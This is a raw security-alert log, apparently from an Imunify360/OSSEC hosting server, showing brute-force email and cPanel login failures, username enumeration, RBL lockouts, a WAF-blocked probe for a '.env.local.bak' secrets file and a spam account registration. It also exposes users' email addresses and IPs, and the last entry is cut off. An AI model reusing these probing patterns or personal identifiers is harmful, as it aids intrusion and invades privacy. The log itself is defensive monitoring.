47.128.96.122 - - [09/Jun/2026:07:46:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10340292&pdata=https%253A%252F%252Fvitrinenews.tg%252F2026%252F06%252F07%252Ftogo-visite-de-sea-a-cdk-group-bientot-un-partenariat-a-fort-impact-social%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780991217 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2026/06/07/togo-visite-de-sea-a-cdk-group-bientot-un-partenariat-a-fort-impact-social/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.124.237.188
country_id: 1522867
description:
2026-06-09 07:47:50 dovecot_plain authenticator failed for H=([91.92.243.93]) [188.124.237.188]:9688: 535 Incorrect authentication data (set_id=admin@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.26.39.229
country_id: 2017370
description:
2026-06-09 07:48:04 dovecot_plain authenticator failed for H=95-26-39-229.broadband.corbina.ru ([91.92.243.93]) [95.26.39.229]:9046: 535 Incorrect authentication data (set_id=support@dagl.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [09/Jun/2026:07:47:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169685&pdata=https%253A%252F%252Fvitrinenews.tg%252F2026%252F06%252F07%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780991247 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2026/06/07/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.7.115.109
country_id: 3686110
description:
2026-06-09 07:48:18 dovecot_plain authenticator failed for H=([91.92.243.93]) [190.7.115.109]:39294: 535 Incorrect authentication data (set_id=marketing@dagl.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-09 07:48:29 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.112.167.170
country_id: 3469034
description:
2026-06-09 07:48:35 dovecot_plain authenticator failed for H=([91.92.243.93]) [187.112.167.170]:36742: 535 Incorrect authentication data (set_id=contact@dagl.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.68
country_id: 1880251
description:
[2026-06-09 07:48:38 +0000] info [cpaneld] 188.166.248.68 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.224.143.18
country_id: 3932488
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-un-nouveau-cadre-juridique-pour-la-concurrence-et-la-protection-des-consommateurs/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.224.143.18
country_id: 3932488
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-un-nouveau-cadre-juridique-pour-la-concurrence-et-la-protection-des-consommateurs/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  9 07:49:18 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 131.222.251.101
country_id: 298795
description:
131.222.251.101 - - [09/Jun/2026:07:49:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7118186&pdata=https%253A%252F%252Ftogodailynews.tg%252Fvictoire-tomegah-dogbe-encourage-le-comite-dorganisation-de-fesma%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780991375 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/victoire-tomegah-dogbe-encourage-le-comite-dorganisation-de-fesma/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:131.222.251.101


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.244.107
country_id: 2635167
description:
[2026-06-09 07:50:49 +0000] info [cpaneld] 216.26.244.107 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user BEWELL (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [09/Jun/2026:07:50:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105890&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpam-recrute-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780991446 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pam-recrute-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  9 07:51:01 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:07:53:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379866&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsemaine-africaine-de-la-microfinance-2023-ouverture-des-inscriptions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780991617 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/semaine-africaine-de-la-microfinance-2023-ouverture-des-inscriptions/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.165.170
country_id: 2363686
description:
[2026-06-09 07:53:52 +0000] info [cpaneld] 41.207.165.170 - phoicdxb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.146
country_id: 1880251
description:
47.128.96.146 - - [09/Jun/2026:07:56:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13277849&pdata=https%253A%252F%252Fvitrinenews.tg%252F2023%252F05%252F04%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780991814 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2023/05/04/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.146


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.81.166.90
country_id: 3469034
description:
[2026-06-09 07:58:16 +0000] info [cpaneld] 170.81.166.90 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.118.78.222
country_id: 1210997
description:
[2026-06-09 07:58:20 +0000] info [cpaneld] 103.118.78.222 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.181.121.166
country_id: 3895114
description:
[2026-06-09 07:58:22 +0000] info [cpaneld] 45.181.121.166 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.105.211.101
country_id: 3895114
description:
[2026-06-09 07:58:25 +0000] info [cpaneld] 186.105.211.101 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.221.120.23
country_id: 3469034
description:
[2026-06-09 07:58:34 +0000] info [cpaneld] 177.221.120.23 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.147.32
country_id: 99237
description:
[2026-06-09 07:58:37 +0000] info [cpaneld] 5.175.147.32 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.114.250.226
country_id: 2921044
description:
[2026-06-09 07:58:39 +0000] info [cpaneld] 46.114.250.226 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.67.15.155
country_id: 690791
description:
[2026-06-09 07:58:42 +0000] info [cpaneld] 176.67.15.155 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.109.174.36
country_id: 2017370
description:
[2026-06-09 07:58:45 +0000] info [cpaneld] 62.109.174.36 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 41.207.165.170
country_id: 2363686
description:
[2026-06-09 08:00:05 +0000] info [cpaneld] 41.207.165.170 - phoicdxb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.221.114
country_id: 2363686
description:
[2026-06-09 07:59:43 +0000] info [webmaild] 196.168.221.114 - sayeva@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [09/Jun/2026:07:59:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950640&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconcours-de-recrutement-des-enseignants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780991984 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/concours-de-recrutement-des-enseignants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.165.170
country_id: 2363686
description:
[2026-06-09 07:59:33 +0000] info [cpaneld] 41.207.165.170 - phoicdxb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  9 07:59:38 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [09/Jun/2026:08:01:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10208967&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fapessito%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992066 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/apessito/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [09/Jun/2026:08:00:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194983&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992012 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F3%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [09/Jun/2026:08:00:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855532&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-de-nestor-gansou%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992015 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-de-nestor-gansou/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.221.114
country_id: 2363686
description:
[2026-06-09 08:00:21 +0000] info [webmaild] 196.168.221.114 - sayeva@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.207.165.170
country_id: 2363686
description:
41.207.165.170 - - [09/Jun/2026:08:00:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117252&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252Fcpsess8438337901%252Ffrontend%252Fjupiter%252Femail_accounts%252Findex.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992014 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/cpsess8438337901/frontend/jupiter/email_accounts/index.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.207.165.170


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.165.170
country_id: 2363686
description:
[2026-06-09 08:00:22 +0000] info [cpaneld] 41.207.165.170 - phoicdxb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.64.253.234
country_id: 1835841
domain: www.api.butodra.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.local.bak||User:vefzejhd||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.53.111.131
country_id: 2782113
description:
2026-06-09 08:02:33 dovecot_plain authenticator failed for H=bischoef.com (jjue8mwmjj9gr7c8n1kb46i) [152.53.111.131]:41954: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.221.114
country_id: 2363686
description:
[2026-06-09 08:03:05 +0000] info [webmaild] 196.168.221.114 - sayeva@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  9 08:03:11 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.165.170
country_id: 2363686
description:
[2026-06-09 08:04:09 +0000] info [cpaneld] 41.207.165.170 - phoicdxb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.160.123
country_id: 2363686
description:
102.64.160.123 - - [09/Jun/2026:08:05:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593738&pdata=https%253A%252F%252Flaunetogo.tg%252Ffonction-publique-lena-ouvre-ses-portes-concours-cycle-ii-et-cycle-iii-session-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992299 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/fonction-publique-lena-ouvre-ses-portes-concours-cycle-ii-et-cycle-iii-session-2026/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.160.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.115.74.71
country_id: 3895114
description:
[2026-06-09 08:06:07 +0000] info [cpaneld] 191.115.74.71 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-06.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.155.117.179
country_id: 2017370
description:
[2026-06-09 08:06:10 +0000] info [cpaneld] 178.155.117.179 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.190.32
country_id: 6252001
description:
[2026-06-09 08:06:13 +0000] info [cpaneld] 172.59.190.32 - belali "GET /login/?login_only=1&user=belali&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belali (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.233.17.66
country_id: 3469034
description:
[2026-06-09 08:06:35 +0000] info [cpaneld] 181.233.17.66 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Get Your Sound Bonus sepoladi.blogspot.fi Fy||Email:bestsuccess4ever@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [09/Jun/2026:08:06:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526150&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-casier-judiciaire-informatise-voici-le-site-a-utiliser-pour-faire-sa-demande-en-ligne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992372 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-casier-judiciaire-informatise-voici-le-site-a-utiliser-pour-faire-sa-demande-en-ligne/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.37.10
country_id: 1282988
description:
[2026-06-09 08:06:26 +0000] info [cpaneld] 111.119.37.10 - bela "GET /login/?login_only=1&user=bela&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bela (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.185.255.227
country_id: 1814991
description:
Jun  9 08:07:04 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.185.255.227 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.149.72.224
country_id: 1210997
description:
[2026-06-09 08:06:22 +0000] info [cpaneld] 103.149.72.224 - belal "GET /login/?login_only=1&user=belal&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belal (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-09 08:07:04 +0000] info [webmaild] 196.171.46.177 - desire.ayivi@togointerim.net "POST /cpsess9638386889/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.188.9.22
country_id: 3996063
description:
[2026-06-09 08:06:18 +0000] info [cpaneld] 187.188.9.22 - belalitg "GET /login/?login_only=1&user=belalitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belalitg (has_cpuser_file failed)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 34.12.170.241
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (34.12.170.241) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [09/Jun/2026:08:07:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922671&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-casier-judiciaire-informatise-voici-le-site-a-utiliser-pour-faire-sa-demande-en-ligne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992446 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-casier-judiciaire-informatise-voici-le-site-a-utiliser-pour-faire-sa-demande-en-ligne/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-09 08:09:05 +0000] info [webmaild] 196.171.46.177 - desire.ayivi@togointerim.net "POST /cpsess9638386889/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.115
country_id: 1880251
description:
47.128.122.115 - - [09/Jun/2026:08:08:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050391&pdata=http%253A%252F%252Ftogodailynews.tg%252Finclusion-financiere-promotion-de-la-micro-assurance-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992508 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/inclusion-financiere-promotion-de-la-micro-assurance-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.115


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-09 08:09:20 +0000] info [cpaneld] 103.210.132.14 - emt "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user emt (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  9 08:09:25 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.42.122.66
country_id: 1527747
description:
2026-06-09 08:09:13 H=([212.42.122.66]) [212.42.122.66]:57938 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-09 08:11:06 +0000] info [webmaild] 196.171.46.177 - desire.ayivi@togointerim.net "POST /cpsess9638386889/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
